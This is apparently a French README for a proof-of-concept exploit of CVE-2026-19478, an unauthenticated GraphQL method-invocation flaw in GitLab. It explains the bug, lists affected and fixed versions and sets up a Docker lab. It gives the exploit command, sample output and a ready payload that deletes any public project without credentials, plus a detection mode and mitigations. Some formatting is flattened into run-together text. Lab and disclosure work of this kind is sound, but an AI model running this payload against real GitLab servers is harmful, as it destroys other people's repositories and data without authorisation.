
Preuve de concept d'exploitation pour CVE-2026-19478, une injection GraphQL non authentifiée dans GitLab CE/EE permettant l'invocation arbitraire de méthodes et la suppression de projets.
★ CVE-2026-19478 PoC d'invocation arbitraire de méthode non authentifiée via @gl_introduced dans GitLab GraphQL ★
https://github.com/user-attachments/assets/bb5d5f8a-a9bf-4148-854b-14c25c501d4b
CVE-2026-19478 est une vulnérabilité de manipulation / suppression de données non authentifiée dans GitLab CE/EE (CVSS 9.4). GitLab fournit une directive client GraphQL
@gl_introduced(version: "X.Y.Z")pour la compatibilité ascendante des déploiements progressifs. Lorsqu'une requête nomme un champ avec une version plus récente que celle du serveur en cours d'exécution, un traceur le supprime avant la validation statique, de sorte que la requête est validée, puis à l'exécution, le champ inconnu est résolu par un champ de repli sans résolveur. Dans graphql-ruby, un champ sans résolveur est résolu en appelantobject.public_send(field_name)— le client peut donc nommer un champ égal à n'importe quelle méthode sans argument sur l'objet actuellement résolu, et le serveur l'invoque. Résoudre un projet public et demander un « champ futur » nommé exécute donc — supprimant un projet public (ou modifiant des données utilisateur) .
destroyProject#destroy| Catégorie | Version |
|---|---|
| Vulnérables | GitLab CE/EE 18.2 – 18.11.10, 19.0.0 – 19.0.7, 19.1.0 – 19.1.5, 19.2.0 – 19.2.3 |
| Corrigées | 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 ou versions ultérieures |
Resolvers::NilResolver (renvoie nil, n'invoque jamais de méthode)Construisez et exécutez le GitLab vulnérable. Il auto-initialise un dépôt public victim/demo que vous
pouvez supprimer sans authentification. GitLab prend environ 3 à 5 minutes pour terminer la reconfiguration et l'initialisation.
docker build -t cve-2026-19478 .
docker run -d --name cve-2026-19478 --shm-size 256m -p 3000:80 cve-2026-19478
| Précondition | État dans ce laboratoire |
|---|---|
| GitLab 18.2 – 19.2.3 | 19.2.2 |
| Un projet public accessible anonymement | victim/demo (initialisé) |
| Point de terminaison GraphQL non authentifié accessible | /api/graphql exposé |
L'exploit gitlab_exploit.py supprime tout dépôt public que vous lui indiquez, sans
identifiants. Il envoie la charge utile @gl_introduced qui transforme le nom de champ GraphQL destroy
en un appel Project#destroy, puis confirme la suppression via l'API REST (404).
# python3 gitlab_exploit.py <ip:cible port> --repo <groupe/nom>
python3 gitlab_exploit.py 172.17.0.2:3000 --repo victim/demo
[*] cible .......... http://172.17.0.2:3000
[*] AVANT (REST) ... GET /api/v4/projects/victim/demo -> HTTP 200 (existe)
[*] CHARGE UTILE (sans auth) { project(fullPath:"victim/demo"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] réponse ........ {"project": {"id": "gid://gitlab/Project/1", "destroy": true}}
[*] attente de la fin de la suppression asynchrone ...
[+] APRÈS (REST) ... GET /api/v4/projects/victim/demo -> HTTP 404
[!] SUCCÈS - la requête NON AUTHENTIFIÉE a SUPPRIMÉ 'victim/demo'. CVE-2026-19478 prouvée.
Options :
--detect — vérification sûre et non destructive (invoque la méthode inoffensive to_param au lieu de destroy)--repo groupe/nom — cible tout projet public sur l'instance--insecure — ignore la vérification TLS pour les cibles https://@gl_introduced / le chemin de filtrage de version au niveau d'un proxy inverse, ou restreignez l'accès non authentifié à /api/graphql